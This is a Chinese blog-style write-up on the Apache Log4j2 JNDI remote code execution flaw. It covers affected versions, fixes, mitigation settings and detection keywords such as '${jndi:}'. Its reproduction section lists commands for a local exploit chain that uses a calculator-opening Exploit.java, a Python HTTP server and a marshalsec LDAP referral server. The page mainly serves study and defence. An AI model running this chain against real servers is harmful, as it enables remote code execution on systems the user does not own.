- 一.序曲
- 二.问题
- 三.复现
- 1.环境前提
- 2.项目内容介绍
- 3.运行
- 4.分析
- 四.解决
公司安全部发出告警,紧急修复bug
Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
- 受影响版本:
Apache Log4j 2.x <= 2.14.1
- 已知受影响的应用程序和组件:
srping-boot-strater-log4j2 Apache Solr Apache Flink Apache Druid
据悉,此次 Apache Log4j2 远程代码执行漏洞风险已被业内评级为“高危”,且漏洞危害巨大,利用门槛极低。有报道称,目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等众多组件及大型应用均已经受到了影响,需尽快采取方案阻止。
三.复现这里的主要是参考网上以一位大佬的实现,再次解说一下详细过程,详情请查看:https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce。
1.环境前提python环境https://www.python.org/downloads/windows/主要是用于将本地电脑变成一台服务器
当然了,其余的java,maven环境这里就不说了,肯定是必备的
- 编译或运行Exploit.java文件用于生成class文件,该代码是用来打开计算器的。
- python版本可通过pytohn --verison查看
- python3环境:python -m http.server 8080
- python2环境:python -m SimpleHTTPServer 8080
- 在tools目录下执行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
也就是说,攻击者可以通过输入一些特殊内容,如果服务器通过日志打印出来,然后就可能导致执行一些恶意内容或者获取非法数据信息
四.解决修复建议:
- 升级至最新版 https://www.apache.org/dyn/closer.lua/logging/log4j/2.15.0/apache-log4j-2.15.0-bin.tar.gz
- 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink
- 接入安全中心WAF、RASP防御此漏洞。
其他临时缓解措施:
- 禁止没有必要的业务访问外网;
- 设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”( 需要版本升级到2.10以上-推荐);
- log4j2.component.properties配置文件中设置“log4j2.formatMsgNoLookups=True (需要版本升级到2.10以上-推荐) 。
业务自查方式
- grep -R --include=“pom.xml” “org.apache.logging.log4j”
攻击排查
- 攻击者在利用前通常采用dnslog方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的"javax.naming.CommunicationException"、“javax.naming.NamingException: problem generating object using object factory”、"Error looking up JNDI resource"关键字进行排查。
- 攻击者发送的数据包中可能存在"${jndi:}" 字样,推荐使用全流量或WAF设备进行检索排查。
参考资料
- 官方补丁:安全版本2.15.0 https://www.apache.org/dyn/closer.lua/logging/log4j/2.15.0/apache-log4j-2.15.0-bin.tar.gz
依赖排查工具推荐
1.maven依赖分析工具Maven Helper,一键帮助分析依赖冲突及排除
工具使用详细参考:https://cloud.tencent.com/developer/article/1584697



